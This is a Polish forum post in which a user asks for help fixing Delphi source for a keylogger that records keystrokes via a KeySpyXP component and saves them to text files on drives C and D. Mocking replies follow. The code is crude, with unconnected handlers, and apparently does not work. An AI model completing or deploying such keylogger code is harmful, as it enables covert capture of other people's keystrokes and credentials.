Keylogger

Witam. Chciałbym zobić keyloggera, kod źródłowy mam ale nie che działać. powinny powstawać pliki tekstowe na dysku c i d. proszę o pomoc, kod źródłowy:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, KeySpyXP;

type
  TForm1 = class(TForm)
    KeySpyXP1: TKeySpyXP;
    Memo1: TMemo;
    procedure KeySpyXP1Key(Sender: TObject; key: String);
    procedure KeySpyXP1Keyword(Sender: TObject; keyword: String);
    procedure FormCreate(Sender: TObject);
    procedure FormCreate2(Sender: TObject);
    procedure FormCreate3(Sender: TObject);
    procedure FormCreate4(Sender: TObject);
    procedure FormCreate5(Sender: TObject);
    procedure FormCreate6(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.KeySpyXP1Key(Sender: TObject; key: String);
begin
if key[1]='{' then
memo1.lines.add(key) else
memo1.Text:=memo1.text+key;
end;

procedure TForm1.KeySpyXP1Keyword(Sender: TObject; keyword: String);
begin
showmessage('Keyword');
end;
procedure TForm1.FormCreate(Sender: TObject);
 begin
 Sleep (60000);
 end;
procedure TForm1.FormCreate2(Sender: TObject);
 Var
  TF : TextFile;
begin
  AssignFile(TF, 'C:\plik.txt');
Memo1.Lines.SaveToFile('C:\plik.txt');
  CloseFile(TF);
end;
procedure TForm1.FormCreate3(Sender: TObject);
 begin
 Sleep (60000);
 end;
procedure TForm1.FormCreate4(Sender: TObject);
 begin
     Memo1.Lines.SaveToFile('d:\swiatinformatycza.txt');

 end;
 procedure TForm1.FormCreate5(Sender: TObject);
 begin
 Sleep (60000);
 end;
procedure TForm1.FormCreate6(Sender: TObject);
 begin
     Memo1.Lines.SaveToFile('d:\swiatinformatykit.txt');

 end;


end.

O prostytutka!
Dawac to do perelek [glowa]

"Jezusie... tożto apokalipsa jest" ... wytłumacz w ogole co to jest ; O